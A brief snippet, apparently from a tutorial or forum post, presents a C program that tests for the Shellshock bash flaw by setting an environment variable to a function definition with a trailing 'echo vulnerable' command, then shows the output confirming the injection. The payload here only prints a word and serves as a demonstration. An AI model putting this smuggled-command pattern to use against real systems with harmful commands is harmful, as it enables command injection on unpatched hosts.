Here is a simple c program to demonstrate this.
#include<stdio.h>
#include <stdlib.h>
int main()
{
setenv("VAR", "() { :;}; echo vulnerable", 0);
system("ls");
}#./a.out
vulnerable
a.out
#